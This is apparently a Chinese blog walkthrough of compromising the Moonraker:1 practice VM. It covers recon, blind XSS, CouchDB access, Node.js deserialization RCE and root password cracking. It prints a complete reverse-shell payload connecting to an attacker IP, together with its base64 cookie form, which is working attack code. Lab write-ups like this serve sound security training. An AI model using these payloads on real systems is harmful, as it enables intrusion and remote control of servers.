Moonraker 靶机渗透

释放双眼,带上耳机,听听看~!

0x01 简介

攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。

Moonraker: 1镜像下载地址:

http://drive.google.com/open?id=13b2ewq5yqre2UbkLxZ58uHtLfk-SHvmA

0x02 信息搜集

1.获取目标ip地址,使用netdiscover或者arp-scan。

2.使用nmap进行端口和服务探测

在3000端口发现Node.js Express framework框架应用。

访问web服务,是一段视频

视频动画会持续10几秒,之后自动跳转至如下页面

http://192.168.190.136/moonraker.html

点击blog进行一个展示界面,目前看来是没什么用

使用dirb 跑一下目录,发现http://192.168.190.136/services/index.html

访问 http://192.168.190.136/services/index.html

在网站中发现一个链接

点击进入,一个售后服务的页面

Services Information Request

To provide “out of this world” service, a Sales rep will check your web-based inquiries in under 5 minutes!

服务信息请求

为了提供“完美售后”的服务,销售代表将在5分钟内检查您基于网络的查询!

尝试用<img>标签去查询表单

<img src=”192.168.190.129/log.txt”></img>

提交完成

开启apache服务

root@kali:~# netstat -pantu | grep 80

tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 595/rinetd

root@kali:~# pkill rinetd

root@kali:~# service apache2 start

root@kali:~# cd /var/www/html

root@kali:/var/www/html# ls

file.csproj flag.php index.nginx-debian.html wpscan_6666 wso.php xxe.php

root@kali:/var/www/html# echo “test” > log.txt

root@kali:/var/www/html# ls -la log.txt

-rw-r–r– 1 root root 5 9月 24 11:50 log.txt

测试apache服务是否正常

我们可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。

192.168.190.136 – – [24/Sep/2019:11:54:51 -0400] “GET /log.txt HTTP/1.1” 200 287 “http://127.0.0.1/svc-inq/salesmoon-gui.php” “Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34”

我们可以从日志中发现http refefer地址:http://127.0.0.1/svc-inq/salesmoon-gui.php

访问一下:http://192.168.190.136/svc-inq/salesmoon-gui.php

点击左上角链接进入如下页面

打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。

username: jaws

password: 女朋友名字+x99的组合(我哪知道你女朋友是谁!!!)

搜索 Jaws’ girlfriend,找到Jaws’ Girlfriend :Dolly

现在已经获取到couchdb的用户名和密码,那么如何登陆呢

关于couchdb使用参考官方文档:http://docs.couchdb.org/en/stable/fauxton/install.html

访问http://192.168.190.136:5984/_utils/

Username: jaws

Password: dollyx99

登陆成功!

在links库里发现了一些信息

访问一下http://192.168.190.136/cats/cats-gallery.html

第二条信息

访问:http://192.168.190.136/surv-cam/recent.html

似乎没什么有用的信息

第三条记录

访问:http://192.168.190.136/HR-Confidential/offer-letters.html

备份信息

在HUGO中我们发现了一些线索,提示我们通过浏览器访问3000端口的服务,并且提供了用户名密码

尝试访问http://192.168.190.136:3000/

Username: hugo

Password:TempleLasersL2K

登陆成功

Welcome Boss Your manifesto has been recorded here for reference: /accounting/hugo-manif.mp3

欢迎您的老板您的宣言已在此处录制供参考:/accounting/hugo-manif.mp3

访问一下:http://192.168.190.136/accounting/hugo-manif.mp3

听一下宣言内容,纯英文,听不懂

第四条信息

访问:http://192.168.190.136/x-files/deep-space-findings.html

显示数据已经被移动到更安全的区域

进入hugo’s page moved to port 3k页面,可以看到服务运行在3000端口,使用的NodeJS框架。

0x04 漏洞利用

从前期信息收集知道3000端口跑的是Node.js框架,去搜索一下相关漏洞

发现Node.js框架存在一个反序列化漏洞,可以执行任意代码。

访问192.168.190.136:3000,登录并用burp抓包在Cookie中看到了base64编码信息。

base64编码解码为用户名。

这里我们将以base64编码形式插入node.js来用其反序列化漏洞。

这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.

利用Node.js反序列化的漏洞执行远程代码参考:https://www.anquanke.com/post/id/85458

使用msfvenom生成nodejs反弹shell

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.190.137 LPORT=1521

(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? “cmd” : “/bin/sh”; var net = require(“net”), cp = require(“child_process”), util = require(“util”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, “192.168.190.137”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === “undefined”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(“error”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();

—————————————————————————————————————————————-

{“rce”:”_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \”cmd\” : \”/bin/sh\”; var net = require(\”net\”), cp = require(\”child_process\”), util = require(\”util\”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, \”192.168.190.137\”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \”undefined\”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\”error\”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()”}

—————————————————————————————————————————————

将以上payload做base64编码

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTkwLjEzN1wiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=

通过bupsuit抓包进行拦截,将整个base64字符串设置为cookie中profile的值,替换完profile值后进行提交,在者之前需要设置您的nc侦听。

nc 成功获得反弹shell

然后将nc的半shell转换为pty的交互shell

查看开放的端口,发现开启了邮件服务,

在/var/mail目录下存在邮件但是权限不足无法查看

在了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.

username: hugo

password: 321Blast0ff!!

切换hugo用户,查看家目录未发现什么,想到之前拒绝访问的邮件

在/var/mail目录下查看hugo邮件内容,root用户信息泄露

the new one is the same + “VR00M” without quotes 并且提示在root密码后加上VR00M

root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::

将root密码hash保存到root.hash,使用john破解hash

破解出密码哈希是cyber

Username: root

Password: cyber

新的登录密码为:cyberVR00M

root用户登录,获取到flag base64 解码 :was dolly wearing braces?

参考链接:

https://www.jianshu.com/p/fdf95b01b2f2

https://www.anquanke.com/post/id/85458

https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

人已赞赏
安全工具

PowerShell攻击:nishang

2019-10-31 15:52:45

安全工具安全教程

使用ctftool测试CTF协议

2019-10-31 15:57:21

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索